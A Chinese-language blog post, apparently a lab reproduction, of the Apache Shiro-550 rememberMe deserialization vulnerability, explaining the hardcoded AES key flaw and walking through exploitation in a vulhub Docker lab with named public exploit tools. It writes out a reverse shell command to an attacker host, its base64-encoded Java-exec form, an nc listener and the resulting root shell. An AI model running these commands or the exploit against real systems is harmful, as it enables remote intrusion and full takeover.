TypechoJoeTheme

学习使用

统计
登录
用户名
密码

apache shiro-550

admin博主
2022-03-11
/
0 评论
/
1,311 阅读
/
552 个字
/
百度已收录
03/11
本文最后更新于2022年08月10日,已超过233天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

漏洞详情

shiro反序列化原因是shiro的一个机制为了让浏览器或服务器重启后不丢失用户的登陆状态,会将用户信息保存到 rememberMe字段中 然后发送到服务端,服务端再对它进行base64解密,aes解密,再进行反序列化,由于在 1.2.4 这个版本里 shiro的key是固定的,所以可以通过构造一段恶意类经过aes加密再base64加密然后放到 rememberMe 伪造cookie信息,来让服务端加载,进而触发反序列化漏洞

详细步骤:

1.首先正常登录,然后生成带有rememberme的返回cookie值。

2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

3.之后进入serialize,对登录认证信息进行序列化

4.然后加密,调用aes算法。

5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

6.解析cookie

7.先解密在反序列化

8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。

环境搭建:

环境准备

  • Ubuntu(192.168.2.195) 搭建漏洞环境
  • Kali(192.168.2.200) 接收反弹Shell
  • Windows(192.168.2.178) 攻击主机

部署一个shiro-1.2.4项目

cd /vulhub-master/shiro/CVE-2016-4437
docker-compose up -d

抓包分析

在请求包中的cookie字段中添加rememberMe=任意内容;,看响应包中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架。

或者发出登录请求并勾选remember me,同样会有rememberMe=deleteMe

不勾选或者不添加则无rememberme字段。

使用exp工具进行攻击

shiro_attack-4.5.4-SNAPSHOT-all

https://github.com/SummerSec/ShiroAttack2

shiro_attack

https://github.com/j1anFen/shiro_attack

推荐使用shiro_attack-4.5.4-SNAPSHOT-all。

启动工具

java -jar shiro_attack-4.5.4-SNAPSHOT-all.jar

探测是否存在shiro框架

爆破密匙

漏洞利用

命令执行

根据情况检测利用链

执行命令

反弹Shell

监听

在kali上开启nc监听本地9999端口,用来接收反弹的Shell

nc -lvnp 9999

反弹

在线反弹shell命令生成。

https://www.revshells.com/

但是不能直接使用bash反弹shell。

sh -i >& /dev/tcp/192.168.2.200/9999 0>&1

需要将其转换为java类型,建议前往站点转换。

https://www.bugku.net/runtime-exec-payloads/

转换后

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjIwMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

在工具端执行

kali成功接收到shell。

┌──(root㉿kali-rrr)-[~/Desktop]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.2.200] from (UNKNOWN) [192.168.2.195] 42060
sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux 3de8659a07b6 5.15.0-43-generic #46~20.04.1-Ubuntu SMP Thu Jul 14 15:20:17 UTC 2022 x86_64 GNU/Linux
# 
漏洞复现
朗读
赞(0)
赞赏
感谢您的支持,我会继续努力哒!
版权属于:

学习使用

本文链接:

https://159357654.xyz/index.php/archives/378/(转载时请注明本文出处及文章链接)

评论 (0)
本篇文章评论功能已关闭